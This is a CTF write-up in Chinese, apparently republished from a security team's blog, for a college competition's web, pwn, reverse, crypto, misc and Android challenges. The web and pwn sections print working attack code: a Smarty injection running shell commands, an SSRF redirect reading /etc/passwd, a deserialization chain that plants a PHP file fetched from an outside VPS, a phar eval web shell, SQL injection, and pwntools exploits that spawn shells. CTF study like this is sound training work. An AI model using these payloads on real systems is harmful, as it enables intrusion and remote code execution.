​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

admin 2021年5月29日05:22:59评论211 views字数 10774阅读35分54秒阅读模式
​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

第一届四叶草网络安全学院牛年
CTF大赛

Web

GET

考点

  • smarty模板注入

思路

根据提示输入GET参数得到源码.发现为smarty模板注入

payload: ?name={if passthru ('nl fl*')}{/if}


​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

 

Website

考点

  • ssrf中使用302跳转进行bypass

思路

一开始尝试dict、file、gopher等协议,发现都被禁用了

但是可以访问其他主机,就想到用302跳转去bypass

在vps上开个web服务,内容如下

<?php header('Location:file:///etc/passwd');


再用题目访问vps,可以看到是成功访问的


​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp


接着去读取apache的配置文件

<?php header('Location:file:///etc/httpd/conf/httpd.conf');

在最后面可以看到有两个web服务,监听了80和8080

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp


​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp


分别读取源码

80: web1/index.php

<?phperror_reporting(0);function check_302($url){    $ch = curl_init($url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect    curl_exec($ch);    $info = curl_getinfo($ch);    curl_close($ch);    return $info['url'];}
if (isset($_GET['url'])) { $url = $_GET['url']; if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) { exit("<script alert('Cloversec WAF!')"); }
if (!preg_match('/^(http|https)://[_a-zA-Z0-9-]+(.[_a-zA-Z0-9-]+)*/i', $url)) { exit("<script>alert('Cloversec WAF!')</script>"); }
$url = check_302($url); echo $url; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch);
echo "<base href="&quot; . $url . &quot;/">" . $result . "";} else { echo "Hello";}
?>


8080: web2/index.php

<?phpclass copy_file{    public $path = 'upload/';    public $file;    public $url;    function __destruct(){        if(strpos($this - url,'http://127.0.0.1') === 0){            file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));            echo $this -> path.$this -> file." update successed!)";        }else{            echo "Hello CTFer";        }    }}
if(isset($_GET['data'])){ $data = $_GET['data']; unserialize($data);}else{ echo "Welcome to CloverSec WebSite";}?>


然后就是反序列化了,在vps上写好代码

<?php system("ls /");system("ls ../");system("cat ../flag_WebSite_SsRf.txt");

用下面的序列化
<?phpclass copy_file{    public $path='upload/';    public $file='1.php';    public $url='http://[email protected]:20003/1.txt';
}$a = new copy_file();echo serialize($a);


按照如下方式传参,上传代码

http://[email protected]:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://[email protected]:20003/1.txt";}

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

再去访问即可看到结果

http://127.0.0.1:8080/upload/1.php

 

file manager

考点

  • phar伪协议

思路

题目有四个功能,分别是文件上传,创建文件,删除文件和列举目录

经过一番尝试,发现文件上传只能上传图片,但是看到删除文件的功能,就想到unlink函数可以触发phar,并且code.html给了类

那就生成phar改一下名字,再用phar伪协议触发即可

由于文件上传的代码不允许php存在上传文件中,就用<?=绕过即可

<?phpclass game{    public $file_name="shell.php";    public $content = "<?=eval($_POST['cmd']);?>";
}$a = new game();
$phar = new Phar('test.phar',0,'test.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$phar->setMetadata($a);$phar->addFromString('text.txt','test');$phar->stopBuffering();


上传后在删除文件处,删除框内填phar://./sandbox/a.png即可触发反序列化

 

StAck3d 1nj3c

原题 [SUCTF 2019]EasySQL  

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

★问卷调查

填完给flag


Misc


Here are three packages!

第一个压缩包:根据提示百度后,发现与月份有关,密码应该为数字,对压缩包进行爆破,得到密码:956931011

第二个压缩包:对字频进行统计,得到key:key{bgfi9JaFHhosw}
第三个压缩包:在tip3中存在零宽度字符隐写,解密得到密码:key->Zero-Width

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

white.txt是snow隐写,得到flag:flag{e3e1cd2fa790e0b35795ef3b2ab3992b}

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

 

牛气冲天

伪加密cattle.jpg以及zip
steghide解,脑洞密码就是文件名
获得密码,awd@$..120LP
解压zip,获得png,改高度

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp


★LSP们冲啊

经典crc碰撞
import datetimeimport binasciiimport string def crack(crc_in):    crcs = set([crc_in])        r = string.printable    for a in r:        for b in r:            for c in r:                txt = a+b+c                crc = binascii.crc32(txt)                if (crc & 0xFFFFFFFF) in crcs:                    return txt

print crack(0xd878a99d)#0x07D3F356,0xd878a99d,0x4E25A843,0x6E16E99D,0x549248B9

获得密码:Zz!9(18Hb9e#>h8
解压后png进行lsb隐写即可

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp


Reverse

RE1

拖入ida,在字符串窗口看到 "upx"字样,于是首先对它进行upx 脱壳

upx -d re1


将得到的elf程序拖入ida

__int64 __fastcall h4vefun(__int64 input_str){  __int64 v1; // rax  char v3; // [rsp+1Fh] [rbp-61h] BYREF  char v4[32]; // [rsp+20h] [rbp-60h] BYREF  char v5[40]; // [rsp+40h] [rbp-40h] BYREF  unsigned __int64 v6; // [rsp+68h] [rbp-18h]

v6 = __readfsqword(0x28u); std::allocator<char>::allocator(&v3); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v4, "hj4ppy new year", &v3); std::allocator<char>::~allocator(&v3); std::allocator<char>::allocator(&v3); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v5, "qaq", &v3); std::allocator<char>::~allocator(&v3); if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>( input_str, "hj4ppynewyear2021") ) { std::operator<<<std::char_traits<char>>(&std::cout, "ok.this is flag"); } else { v1 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_40115A); std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); } std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v5); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v4); return 0LL;}


发现是c++程序,可以看到下面这一行关键代码,如果我们输入的字符串等于  "hj4ppynewyear2021",就成功了。它也是我们索要得到的flag

if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(                          input_str,                          "hj4ppynewyear2021") 

 

验证一下:

$ ./re1 please input your flaghj4ppynewyear2021ok.this is flag

 

★RE2

这题是exe程序,拖入ida,查看main函数

int __cdecl main_0(int argc, const char **argv, const char **envp){  int v3; // eax  int v4; // eax

dword_42537C = 123400 * strlen(a1234567890) + 31415926; v3 = sub_4113BB(std::cout, "plz input your key"); std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_411573); std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &dword_425380); if ( dword_425380 == dword_42537C ) v4 = sub_4113BB(std::cout, "right"); else v4 = sub_4113BB(std::cout, "wrong"); std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_411573); return 0;}


关键代码 :

if ( dword_425380 == dword_42537C )    v4 = sub_4113BB(std::cout, "right");


而dword_42537C在上面可以得到 是32649926

dword_42537C = 123400 * strlen(a1234567890) + 31415926;//a1234567890:"1234567890" 

所以 flag就是32649926


PWN

PWN1

ida:

int __cdecl main(int argc, const char **argv, const char **envp){  const char *v4; // [esp-20h] [ebp-20h]  __uid_t v5; // [esp-10h] [ebp-10h]  void *v6; // [esp-8h] [ebp-8h]

v6 = malloc(0x200u); bzero(v6, 4u); read(0, v6, 0x1F4u); v5 = geteuid(); setresuid(v5, v5, v5); printf("shell function = %pn", shell); vuln((char *)v6, v4); //存在栈溢出漏洞 return 0;}--------------------------------------------------char *__cdecl vuln(char *a1, const char *a2) { int v3; // [esp-48h] [ebp-48h]

return strcpy((char *)&v3, a2);

思路:
直接栈溢出,返回地址覆盖成 后门地址即可。
exp:
from pwn import * context.log_level='debug' p=process('./pwn1') #p=remote("129.226.4.186",10000)elf=ELF('./pwn1') 

main_addr=0x080485AB#gdb.attach(p)p.sendline("a"*(0x48+0x4)+p32(0x0804856D))p.interactive()


★PWN2

ida:

int __cdecl main(int argc, const char **argv, const char **envp){  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = (void *)__readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("welcome to Xian: "); read(0, BUF, 0x30uLL); puts("Dou you know the hzwz?"); scanf("%llu", buf); printf("Yes you know: "); read(0, buf[0], 8uLL); puts("Finish!"); printf("Good bye %s!n", BUF); return 0;}


思路

这题开了canary保护,没有开NX保护。看第九行,我们向bss段的buf中输入0x30(这不刚好是shellcode 的长度吗,疯狂暗示。)

所以这题的就是往buf中写入一个shellcode,想办法去执行它。


怎么去执行呢?因为没有开pie保护,我们直接改printf_plt中值为buf的地址(shellcode所在的地方)即可,然后当执行到 printf("buybuy") 的时候  实际 就会跳转到 buf地址那里

 

exp:

from pwn import * context(arch='amd64', os='linux', log_level = 'DEBUG')#p=process('./pwn2') p=remote("129.226.4.186",10001)elf=ELF('./pwn2') 

shellcode=asm(shellcraft.sh())print len(shellcode)

p.recvuntil("welcome to Xian: n")p.sendline(shellcode)
p.recvuntil("Dou you know the hzwz?n")pd=str(0x601028)p.sendline(pd)
#gdb.attach(p)p.recvuntil("Yes you know: ")bss_buf=0x601080pd=p64(bss_buf)p.sendline(pd)

p.interactive()


pwn3

ida:

int __cdecl main(int argc, const char **argv, const char **envp){  char v4[16]; // [rsp+0h] [rbp-30h] BYREF  char buf[24]; // [rsp+10h] [rbp-20h] BYREF  _QWORD *v6; // [rsp+28h] [rbp-8h]

setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("happy new year!"); printf("plz input something: "); read(0, buf, 0x10uLL); v6 = (_QWORD *)strtoll(buf, 0LL, 16); printf("nsomething: %lldn", *v6); printf("Show me your code: "); read(0, v4, 0x90uLL);//栈溢出漏洞 return 0;}

 

思路

程序中有一个 strtoll函数,我们输入字符串首先转成16进制存入v6中然后在13行又进行了格式化输出。


这里我们可以用来leak libc,进而得到 system_addr,binsh_addr,因为是64位程序。


我们还需要用ropper去找一下 pop_rdi_ret的gadgets。最后利用栈溢出漏洞去getshell。

ropper --file ./pwn3 --search "pop|ret" | grep rdi
 

exp:

from pwn import * context.log_level='debug' p=process('./pwn3') p=remote("129.226.4.186",10002)elf=ELF('./pwn3') libc=elf.libc#ELF("/lib/x86_64-linux-gnu/libc.so.6 ")

p.recvuntil("plz input something: ")pd="601018"p.sendline(pd)p.recvuntil("something: ")puts_addr=int(p.recv(15),10)libc_base = puts_addr -libc.symbols['puts']system_addr = libc_base + libc.symbols['system']binsh_addr = libc_base +next(libc.search("/bin/sh"))

p.recvuntil("Show me your code: ")pd="a"*0x30+p64(0xdeadbeef)+p64(0x400803)+p64(binsh_addr)+p64(system_addr)p.sendline(pd)

p.interactive()


Crypto

凯撒大帝三步套娃

base64 -> base32 -> hex -> 凯撒 -> md5


抚琴的RSA

#coding=utf-8import gmpy2

p = 28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003q = 15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199e=354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619n = p*qc = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192phi = (p -1) * (q - 1)d= int(gmpy2.invert(e,phi))m=pow(c,d,n)print(m)


flag{42134526936705472951339882390913202211002951999415321980512196989}


另类RSA

RSAtools一把梭
 
​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

flag{3031}


独家加密

和安卓2的加密算法一模一样
写个解密函数改改参数就行
#include <stdio.h>#include <string.h>int main() {    char key[] = "2021.2.26";    char a[] = "Q[VPLDRTwQBF^YJ";    for (int i = 0; i < strlen(a); i++) {        for (int j = strlen(key); j >=0; j--) {            a[i] = (a[i] ^ key[j]);               }          printf("%c", a[i]);    }  return 0;}

 

hello cpy

from string import digits, ascii_letters, punctuation,whitespace space = digits + ascii_letters + punctuation + whitespace for i in range(11):     if ord('f') & 15 ^ i == 4 and ord('f') & 240 == 96 and ord('l') & 15 ^ i == 14 and ord('l') & 240 == 96:       rand = i       break flag = "" k = [4, 96, 14, 96, 3, 96, 5, 96, 9, 112, 4, 48, 7, 48, 3, 48, 0, 48, 0, 96, 6, 96, 6, 48, 1, 48, 6, 96, 11, 48, 1, 96, 3, 96, 3, 96, 4, 48, 7, 96, 2, 48, 0, 48, 1, 96, 11, 48, 11, 48, 2, 48, 0, 96, 2, 48, 3, 96, 10, 48, 0, 48, 4, 48, 7, 48, 0, 48, 6, 96, 1, 96, 3, 96, 15, 112] for i in range(len(k)//2):     for j in space:         if ord(j) & 15 ^ rand == k[2*i] and ord(j) & 240 == k[2*i+1]:                                       flag += j         break print(flag)

 

隐写

★在屋子上的小姐姐

binwalk解图片,得到提示:八位数字,结合图片上日期的到flag:


flag{20200606}

移动安全


★android2

jeb反编译这个apk 定位到mainActivity

找到主要逻辑


​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp



容易推断出只要将字符串^TY_C^MIQVK][E解密即可

找到DeEnCode类中的encode方法


​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp


写出解密函数即可得到flag

#include <stdio.h>#include <string.h>int main() {    char key[] = "2021.1.19";    char a[] = "^TY_C^MIQVK][E";    for (int i = 0; i < strlen(a); i++) {        for (int j = strlen(key); j >=0; j--) {            a[i] = (a[i] ^ key[j]);               }          printf("%c", a[i]);    }  return 0;}


flag{fuqinsec}




我们欢迎每一个对技术充满热情的同学
如果你和我们一样,想做出点成绩
这里给你无限的空间,任你翱翔
进组方式,简历投递邮箱[email protected]

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp
欢迎真正热爱技术的你!
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月29日05:22:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ​第一届四叶草网络安全学院牛年CTF大赛部分WriteUphttp://cn-sec.com/archives/275234.html

发表评论

匿名网友 填写信息